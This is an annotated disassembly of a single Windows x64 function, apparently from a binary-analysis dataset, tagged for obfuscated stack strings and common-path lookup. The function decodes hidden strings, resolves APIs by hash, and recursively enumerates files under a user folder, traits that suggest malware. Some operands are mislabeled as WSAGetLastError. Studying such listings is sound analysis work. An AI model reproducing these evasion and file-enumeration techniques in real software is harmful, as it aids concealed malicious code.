Function at 0x140050bf0
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0x8d0]
sub rsp, 0x9d0
mov rax, qword [0x14008c020]
xor rax, rsp
mov qword [rbp + 0x8a0], rax
xor esi, esi
mov qword [rbp - 0x48], r9
mov r12, rcx
mov qword [rbp - 0x50], r8
lea rax, [rbp + 0xc0]
mov qword [rbp + 0xc0], rsi
mov r13, rdx
mov qword [rbp + 0xc8], rax
lea ecx, [rsi + 0x30]
call fcn.14005b0b8
mov rdi, rax
mov qword [rax], rsi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
cmp rax, r12
je 0x140050c78
cmp qword [r12 + 0x18], 8
mov rdx, r12
jb 0x140050c6b
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
mov rcx, rdi
call fcn.140008860
mov qword [rdi + 0x20], rsi
lea rcx, [rdi + 0x20]
mov rax, qword [rbp + 0xc8]
xor r9d, r9d
mov qword [rdi + 0x28], rax
xor r8d, r8d
mov rax, qword [rbp + 0xc8]
mov qword [rsp + 0x9c8], rbx
mov qword [rsp + 0x9c0], r14
lea edx, [r9 + 0x1a]
mov qword [rsp + 0x9b8], r15
mov qword [rax], rdi
lea rax, [rbp + 0x690]
mov qword [rbp + 0xc8], rcx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov r8, 0xffffffffffffffff
test eax, eax
js 0x1400510a1
mov byte [rsp + 0x40], sil
mov byte [rsp + 0x41], 0xe2
mov byte [rsp + 0x42], 0x55
mov byte [rsp + 0x43], 0xad
mov byte [rsp + 0x44], 0x55
mov byte [rsp + 0x45], 0xcd
mov byte [rsp + 0x46], 0x55
mov byte [rsp + 0x47], 0xea
mov byte [rsp + 0x48], 0x55
mov byte [rsp + 0x49], 0x24
mov byte [rsp + 0x4a], 0x55
mov byte [rsp + 0x4b], 0xb0
mov byte [rsp + 0x4c], 0x55
mov byte [rsp + 0x4d], 0x49
mov byte [rsp + 0x4e], 0x55
mov byte [rsp + 0x4f], 0xb0
mov byte [rsp + 0x50], 0x55
mov byte [rsp + 0x51], 0x5e
mov byte [rsp + 0x52], 0x55
mov byte [rsp + 0x53], WSAGetLastError
mov byte [rsp + 0x54], 0x55
mov byte [rsp + 0x55], 0xe2
mov byte [rsp + 0x56], 0x55
mov byte [rsp + 0x57], 0x29
mov byte [rsp + 0x58], 0x55
mov byte [rsp + 0x59], 0xcd
mov byte [rsp + 0x5a], 0x55
mov byte [rsp + 0x5b], 0x8b
mov byte [rsp + 0x5c], 0x55
mov byte [rsp + 0x5d], 0x14
mov byte [rsp + 0x5e], 0x55
mov byte [rsp + 0x5f], 0xb0
mov byte [rsp + 0x60], 0x55
mov byte [rsp + 0x61], 0xdd
mov byte [rsp + 0x62], 0x55
mov byte [rsp + 0x63], 0x49
mov byte [rsp + 0x64], 0x55
mov byte [rsp + 0x65], 0xe2
mov byte [rsp + 0x66], 0x55
mov byte [rsp + 0x67], 0xd2
mov byte [rsp + 0x68], 0x55
mov byte [rsp + 0x69], 0x39
mov byte [rsp + 0x6a], 0x55
mov byte [rsp + 0x6b], WSAGetLastError
mov byte [rsp + 0x6c], 0x55
mov byte [rsp + 0x6d], 0xdd
mov byte [rsp + 0x6e], 0x55
mov byte [rsp + 0x6f], 0xb0
mov byte [rsp + 0x70], 0x55
mov byte [rsp + 0x71], 0x24
mov byte [rsp + 0x72], 0x55
mov byte [rsp + 0x73], 0x1c
mov byte [rsp + 0x74], 0x55
mov byte [rsp + 0x75], 0xe
mov byte [rsp + 0x76], 0x55
mov byte [rsp + 0x77], 0x90
mov byte [rsp + 0x78], 0x55
mov byte [rsp + 0x79], 0xa8
mov byte [rsp + 0x7a], 0x55
mov byte [rsp + 0x7b], 0xb0
mov byte [rsp + 0x7c], 0x55
mov byte [rsp + 0x7d], 0x24
mov byte [rsp + 0x7e], 0x55
mov byte [rsp + 0x7f], WSAGetLastError
mov byte [rbp - 0x80], 0x55
mov byte [rbp - 0x7f], 0xea
mov byte [rbp - 0x7e], 0x55
mov byte [rbp - 0x7d], 0x93
mov byte [rbp - 0x7c], 0x55
mov byte [rbp - 0x7b], WSAGetLastError
mov byte [rbp - 0x7a], 0x55
mov byte [rbp - 0x79], 0x49
mov byte [rbp - 0x78], 0x55
mov byte [rbp - 0x77], 0x55
mov byte [rbp - 0x76], 0x55
movzx eax, byte [rsp + 0x41]
movzx eax, byte [rsp + 0x40]
test al, al
jne 0x140050eb4
mov rdi, rsi
nop
movzx ecx, byte [rsp + rdi + 0x41]
mov eax, 0x828cbfbf
sub ecx, 0x55
imul ecx, ecx, 0x5f
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xfb
sub ecx, eax
mov eax, 0x828cbfbf
add ecx, 0xfb
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xfb
sub ecx, eax
mov byte [rsp + rdi + 0x41], cl
inc rdi
cmp rdi, 0x4a
jb 0x140050e60
mov qword [rbp - 0x70], rsi
lea rax, [rbp + 0x690]
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], 7
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], si
jne 0x140050ed0
lea rdx, [rbp + 0x690]
lea rcx, [rbp - 0x70]
call fcn.140008860
lea rax, [rsp + 0x41]
mov rdx, 0xffffffffffffffff
inc rdx
cmp word [rax + rdx*2], si
jne 0x140050ef6
mov r8, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x60]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x140050f43
lea rbx, [rcx + rdx]
cmp r8, 8
lea r8, [rdx + rdx]
mov qword [rbp - 0x60], rbx
lea rdi, [rbp - 0x70]
cmovae rdi, qword [rbp - 0x70]
lea rdx, [rsp + 0x41]
lea rcx, [rdi + rcx*2]
call fcn.14005d240
lea rax, [rbp - 0x70]
mov word [rdi + rbx*2], si
jmp 0x140050f56
lea r9, [rsp + 0x41]
mov qword [rsp + 0x20], rdx
lea rcx, [rbp - 0x70]
call fcn.14000ac20
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
mov rdx, qword [rbp - 0x58]
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm1
cmp rdx, 8
jb 0x140050fba
mov rcx, qword [rbp - 0x70]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050fb5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140051c3e
call fcn.14005b0b0
mov ecx, 0x30
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], si
call fcn.14005b0b8
mov rdi, rax
mov qword [rax], rsi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
lea rax, [rbp + 0x3e0]
cmp rdi, rax
je 0x140051018
cmp qword [rbp + 0x3f8], 8
lea rdx, [rbp + 0x3e0]
mov r8, qword [rbp + 0x3f0]
mov rcx, rdi
cmovae rdx, qword [rbp + 0x3e0]
call fcn.140008860
mov rdx, qword [rbp + 0x3f8]
lea rcx, [rdi + 0x20]
mov qword [rcx], rsi
mov rax, qword [rbp + 0xc8]
mov qword [rdi + 0x28], rax
mov rax, qword [rbp + 0xc8]
mov qword [rax], rdi
mov qword [rbp + 0xc8], rcx
cmp rdx, 8
jb 0x140051081
mov rcx, qword [rbp + 0x3e0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005107c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140051c38
call fcn.14005b0b0
mov qword [rbp + 0x3f0], rsi
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x3f8], 7
mov word [rbp + 0x3e0], si
mov r14, qword [rbp + 0xc0]
test r14, r14
je 0x140051bac
movabs r15, 0x7ffffffffffffffe
movabs rdx, 0x7fffffffffffffff
test r14, r14
je 0x140051bac
mov qword [rbp + 0x3a0], rsi
mov qword [rbp + 0x3b0], rsi
mov qword [rbp + 0x3b8], rsi
mov rsi, r14
cmp qword [r14 + 0x18], 8
mov rbx, qword [r14 + 0x10]
jb 0x1400510f4
mov rsi, qword [r14]
cmp rbx, 8
jae 0x14005110e
movups xmm0, xmmword [rsi]
mov edi, 7
movups xmmword [rbp + 0x3a0], xmm0
jmp 0x1400511ab
mov rdi, rbx
mov qword [rbp + 0x80], r15
or rdi, 7
cmp rdi, r15
mov qword [rbp + 0x88], rdi
cmova rdi, r15
mov rcx, rdi
add rcx, 1
cmovb rcx, r8
cmp rcx, rdx
ja 0x140051c32
add rcx, rcx
cmp rcx, 0x1000
jb 0x140051179
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140051c32
mov rcx, rax
call fcn.14005b0b8
mov rcx, rax
test rax, rax
je 0x140051c50
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140051187
test rcx, rcx
je 0x140051185
call fcn.14005b0b8
jmp 0x140051187
xor eax, eax
lea r8, [rbx*2 + 2]
mov qword [rbp + 0x3a0], rax
mov rdx, rsi
mov rcx, rax
call fcn.14005d240
movabs rdx, 0x7fffffffffffffff
cmp rdi, 8
mov qword [rbp + 0x3b8], rdi
lea rsi, [rbp + 0x3a0]
mov qword [rbp + 0x3b0], rbx
cmovae rsi, qword [rbp + 0x3a0]
cmp rbx, 8
jae 0x1400511e6
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x28], 7
movups xmmword [rbp - 0x40], xmm0
jmp 0x140051281
mov rdi, rbx
mov qword [rbp + 0x90], r15
or rdi, 7
mov rax, 0xffffffffffffffff
cmp rdi, r15
mov qword [rbp + 0x98], rdi
cmova rdi, r15
mov rcx, rdi
add rcx, 1
cmovb rcx, rax
cmp rcx, rdx
ja 0x140051c32
add rcx, rcx
cmp rcx, 0x1000
jb 0x140051258
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140051c32
mov rcx, rax
call fcn.14005b0b8
mov rcx, rax
test rax, rax
je 0x140051c50
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140051266
test rcx, rcx
je 0x140051264
call fcn.14005b0b8
jmp 0x140051266
xor eax, eax
lea r8, [rbx*2 + 2]
mov qword [rbp - 0x40], rax
mov rdx, rsi
mov rcx, rax
call fcn.14005d240
mov qword [rbp - 0x28], rdi
lea rdx, [rbp - 0x40]
mov qword [rbp - 0x30], rbx
lea rcx, [rbp + 0x3c0]
call fcn.14004eff0
cmp qword [rbp + 0x3b8], 8
lea rsi, [rbp + 0x3a0]
mov rbx, qword [rbp + 0x3b0]
cmovae rsi, qword [rbp + 0x3a0]
cmp rbx, 8
jae 0x1400512cd
movups xmm0, xmmword [rsi]
mov qword [rbp - 8], 7
movups xmmword [rbp - 0x20], xmm0
jmp 0x140051372
mov rax, 0xffffffffffffffff
mov qword [rbp + 0xa0], r15
mov rdi, rbx
or rdi, 7
cmp rdi, r15
mov qword [rbp + 0xa8], rdi
cmova rdi, r15
mov rcx, rdi
add rcx, 1
cmovb rcx, rax
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140051c32
add rcx, rcx
cmp rcx, 0x1000
jb 0x140051349
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140051c32
mov rcx, rax
call fcn.14005b0b8
mov rcx, rax
test rax, rax
je 0x140051c50
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140051357
test rcx, rcx
je 0x140051355
call fcn.14005b0b8
jmp 0x140051357
xor eax, eax
lea r8, [rbx*2 + 2]
mov qword [rbp - 0x20], rax
mov rdx, rsi
mov rcx, rax
call fcn.14005d240
mov qword [rbp - 8], rdi
lea rcx, [rbp - 0x20]
mov qword [rbp - 0x10], rbx
call fcn.140050770
cmp qword [rbp + 0x3d8], 8
lea rdi, [rbp + 0x3c0]
mov edx, 0xf
mov r8d, 0x4796a6c5
cmovae rdi, qword [rbp + 0x3c0]
xor ecx, ecx
lea r9d, [rdx + 0x30]
call fcn.140018170
lea rdx, [rbp + 0x440]
mov rcx, rdi
call rax
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x140051490
lea edx, [rax + 0x10]
xor ecx, ecx
lea r9d, [rax + 0x5e]
mov r8d, 0x9aab3800
call fcn.140018170
call rax
cmp qword [rbp + 0x3b8], 8
lea rdx, [rbp + 0x3a0]
mov r8d, eax
lea rcx, str.FindFirstFile_fails_in_directory__s._GetLastError___lu.
cmovae rdx, qword [rbp + 0x3a0]
call fcn.140051c60
mov rcx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x28]
test rcx, rcx
je 0x140051414
mov qword [rcx + 0x28], rax
jmp 0x14005141b
mov qword [rbp + 0xc8], rax
mov rcx, qword [r14 + 0x28]
mov rax, qword [r14 + 0x20]
mov qword [rcx], rax
mov rdx, qword [r14 + 0x18]
cmp rdx, 8
jb 0x140051465
mov rcx, qword [r14]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140051460
mov rdi, qword [rcx - 8]
add rdx, 0x27
sub rcx, rdi
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140051c50
mov rcx, rdi
call fcn.14005b0b0
xor esi, esi
mov qword [r14 + 0x18], 7
mov rcx, r14
mov qword [r14 + 0x10], rsi
mov word [r14], si
lea edx, [rsi + 0x30]
call fcn.14005b0b0
jmp 0x140051aef
mov byte [rsp + 0x30], 0
xor ebx, ebx
mov byte [rsp + 0x31], 0x2a
mov byte [rsp + 0x32], 0x7a
mov byte [rsp + 0x33], 0x7a
mov byte [rsp + 0x34], 0x7a
movzx eax, byte [rsp + 0x31]
movzx eax, byte [rsp + 0x30]
test al, al
jne 0x140051514
mov edi, ebx
nop dword [rax + rax]
movzx ecx, byte [rsp + rdi + 0x31]
mov eax, 0x828cbfbf
sub ecx, 0x7a
imul ecx, ecx, 0x51
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xfb
sub ecx, eax
mov eax, 0x828cbfbf
add ecx, 0xfb
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xfb
sub ecx, eax
mov byte [rsp + rdi + 0x31], cl
inc rdi
cmp rdi, 4
jb 0x1400514c0
mov edx, 0xf
xor ecx, ecx
mov r8d, 0xd76d434b
lea r9d, [rdx + 0x2d]
call fcn.140018170
lea rdx, [rsp + 0x31]
lea rcx, [rbp + 0x46c]
call rax
test eax, eax
je 0x140051a27
mov byte [rsp + 0x38], 0
mov byte [rsp + 0x39], 0xe0
mov byte [rsp + 0x3a], 0x67
mov byte [rsp + 0x3b], 0xe0
mov byte [rsp + 0x3c], 0x67
mov byte [rsp + 0x3d], 0x67
mov byte [rsp + 0x3e], 0x67
movzx eax, byte [rsp + 0x39]
movzx eax, byte [rsp + 0x38]
test al, al
jne 0x1400515d8
mov rdi, rbx
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [rsp + rdi + 0x39]
mov eax, 0x67
sub eax, ecx
imul ecx, eax, 0x42
mov eax, 0x828cbfbf
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xfb
sub ecx, eax
mov eax, 0x828cbfbf
add ecx, 0xfb
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xfb
sub ecx, eax
mov byte [rsp + rdi + 0x39], cl
inc rdi
cmp rdi, 6
jb 0x140051580
mov edx, 0xf
xor ecx, ecx
mov r8d, 0xd76d434b
lea r9d, [rdx + 0x2d]
call fcn.140018170
lea rdx, [rsp + 0x39]
lea rcx, [rbp + 0x46c]
call rax
test eax, eax
je 0x140051a27
mov eax, dword [rbp + 0x440]
bt eax, 0xa
jb 0x140051a27
test al, 0x10
je 0x140051841
lea rcx, [rbp + 0x46c]
call fcn.14004f730
test eax, eax
je 0x140051841
mov qword [rbp + 0x40], rbx
lea rax, [rbp + 0x46c]
mov qword [rbp + 0x50], rbx
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x58], 7
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140051650
lea rdx, [rbp + 0x46c]
lea rcx, [rbp + 0x40]
call fcn.140008860
cmp qword [rbp + 0x3b8], 8
lea rsi, [rbp + 0x3a0]
mov rbx, qword [rbp + 0x3b0]
cmovae rsi, qword [rbp + 0x3a0]
cmp rbx, 8
jae 0x1400516a3
movups xmm0, xmmword [rsi]
mov qword [rbp + 0x18], 7
movups xmmword [rbp], xmm0
jmp 0x140051752
movabs rax, 0x7ffffffffffffffe
mov rdi, rbx
or rdi, 7
mov qword [rbp + 0xb0], rax
cmp rdi, rax
mov qword [rbp + 0xb8], rdi
cmova rdi, rax
mov rax, 0xffffffffffffffff
mov rcx, rdi
add rcx, 1
cmovb rcx, rax
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140051c32
add rcx, rcx
cmp rcx, 0x1000
jb 0x140051729
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140051c32
mov rcx, rax
call fcn.14005b0b8
mov rcx, rax
test rax, rax
je 0x140051c50
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140051737
test rcx, rcx
je 0x140051735
call fcn.14005b0b8
jmp 0x140051737
xor eax, eax
lea r8, [rbx*2 + 2]
mov qword [rbp], rax
mov rdx, rsi
mov rcx, rax
call fcn.14005d240
mov qword [rbp + 0x18], rdi
lea r8, [rbp + 0x40]
mov qword [rbp + 0x10], rbx
lea rdx, [rbp]
lea rcx, [rbp + 0x400]
call fcn.14004f340
mov ecx, 0x30
call fcn.14005b0b8
xor esi, esi
mov rdi, rax
mov qword [rax], rsi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
lea rax, [rbp + 0x400]
cmp rdi, rax
je 0x1400517ba
cmp qword [rbp + 0x418], 8
lea rdx, [rbp + 0x400]
mov r8, qword [rbp + 0x410]
mov rcx, rdi
cmovae rdx, qword [rbp + 0x400]
call fcn.140008860
mov rdx, qword [rbp + 0x418]
lea rcx, [rdi + 0x20]
mov qword [rcx], rsi
mov rax, qword [rbp + 0xc8]
mov qword [rdi + 0x28], rax
mov rax, qword [rbp + 0xc8]
mov qword [rax], rdi
mov qword [rbp + 0xc8], rcx
cmp rdx, 8
jb 0x140051823
mov rcx, qword [rbp + 0x400]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005181e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140051c50
call fcn.14005b0b0
mov qword [rbp + 0x410], rsi
mov qword [rbp + 0x418], 7
mov word [rbp + 0x400], si
jmp 0x140051a29
lea rcx, [rbp + 0x46c]
call fcn.14004ffe0
test eax, eax
je 0x140051a27
mov qword [rbp + 0x60], rbx
lea rax, [rbp + 0x46c]
mov qword [rbp + 0x70], rbx
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x78], 7
inc r8
cmp word [rax + r8*2], 0
jne 0x140051873
lea rdx, [rbp + 0x46c]
lea rcx, [rbp + 0x60]
call fcn.140008860
cmp qword [rbp + 0x3b8], 8
lea rsi, [rbp + 0x3a0]
mov rbx, qword [rbp + 0x3b0]
cmovae rsi, qword [rbp + 0x3a0]
cmp rbx, 8
jae 0x1400518c6
movups xmm0, xmmword [rsi]
mov qword [rbp + 0x38], 7
movups xmmword [rbp + 0x20], xmm0
jmp 0x140051967
movabs rax, 0x7ffffffffffffffe
mov rdi, rbx
or rdi, 7
cmp rdi, rax
cmova rdi, rax
mov rax, 0xffffffffffffffff
mov rcx, rdi
add rcx, 1
cmovb rcx, rax
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140051c4a
add rcx, rcx
cmp rcx, 0x1000
jb 0x14005193e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140051c4a
mov rcx, rax
call fcn.14005b0b8
mov rcx, rax
test rax, rax
je 0x140051c44
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14005194c
test rcx, rcx
je 0x14005194a
call fcn.14005b0b8
jmp 0x14005194c
xor eax, eax
lea r8, [rbx*2 + 2]
mov qword [rbp + 0x20], rax
mov rdx, rsi
mov rcx, rax
call fcn.14005d240
mov qword [rbp + 0x38], rdi
lea r8, [rbp + 0x60]
mov qword [rbp + 0x30], rbx
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x420]
call fcn.14004f340
mov r9, qword [rbp - 0x50]
lea rdi, [rbp + 0xd0]
mov rdx, qword [rbp - 0x48]
xor eax, eax
cmp qword [rbp + 0x438], 8
mov ecx, 0x2c8
rep stosb byte [rdi], al
lea rax, [rbp + 0x420]
mov r8, r13
cmovae rax, qword [rbp + 0x420]
lea rcx, [rbp + 0xd0]
mov qword [rbp + 0xd0], rax
call fcn.140046650
mov rdx, qword [rbp + 0x438]
cmp rdx, 8
jb 0x140051a0a
mov rcx, qword [rbp + 0x420]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051a05
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140051c44
call fcn.14005b0b0
xor esi, esi
mov qword [rbp + 0x438], 7
mov qword [rbp + 0x430], rsi
mov word [rbp + 0x420], si
jmp 0x140051a29
xor esi, esi
mov edx, 0xf
xor ecx, ecx
mov r8d, 0xff036af1
lea r9d, [rdx + 0x2f]
call fcn.140018170
lea rdx, [rbp + 0x440]
mov rcx, r15
call rax
test eax, eax
jne 0x140051490
mov rcx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x28]
test rcx, rcx
je 0x140051a66
mov qword [rcx + 0x28], rax
jmp 0x140051a6d
mov qword [rbp + 0xc8], rax
mov rcx, qword [r14 + 0x28]
mov rax, qword [r14 + 0x20]
mov qword [rcx], rax
mov rdx, qword [r14 + 0x18]
cmp rdx, 8
jb 0x140051ab7
mov rcx, qword [r14]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140051ab2
mov rdi, qword [rcx - 8]
add rdx, 0x27
sub rcx, rdi
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140051c50
mov rcx, rdi
call fcn.14005b0b0
mov edx, 0x30
mov qword [r14 + 0x10], rsi
mov rcx, r14
mov qword [r14 + 0x18], 7
mov word [r14], si
call fcn.14005b0b0
mov edx, 0xf
xor ecx, ecx
mov r8d, 0x13ee65d
lea r9d, [rdx + 0x2e]
call fcn.140018170
mov rcx, r15
call rax
mov rdx, qword [rbp + 0x3d8]
cmp rdx, 8
jb 0x140051b35
mov rcx, qword [rbp + 0x3c0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051b30
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140051c50
call fcn.14005b0b0
mov rdx, qword [rbp + 0x3b8]
mov word [rbp + 0x3c0], si
mov qword [rbp + 0x3d8], 7
mov qword [rbp + 0x3d0], rsi
cmp rdx, 8
jb 0x140051b94
mov rcx, qword [rbp + 0x3a0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051b8f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140051c50
call fcn.14005b0b0
mov r14, qword [rbp + 0xc0]
test r14, r14
je 0x140051bac
mov r8, 0xffffffffffffffff
jmp 0x1400510b1
mov rdx, qword [r12 + 0x18]
cmp rdx, 8
jb 0x140051be9
mov rcx, qword [r12]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140051be4
mov rdi, qword [rcx - 8]
add rdx, 0x27
sub rcx, rdi
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140051c38
mov rcx, rdi
call fcn.14005b0b0
mov r15, qword [rsp + 0x9b8]
mov r14, qword [rsp + 0x9c0]
mov rbx, qword [rsp + 0x9c8]
mov qword [r12 + 0x10], rsi
mov qword [r12 + 0x18], 7
mov word [r12], si
mov rcx, qword [rbp + 0x8a0]
xor rcx, rsp
call fcn.14005b090
add rsp, 0x9d0
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140007c80
int3
call fcn.140061a20
int3
call fcn.140061a20
int3
call fcn.140061a20
int3
call fcn.140007c80
int3
call fcn.140061a20
int3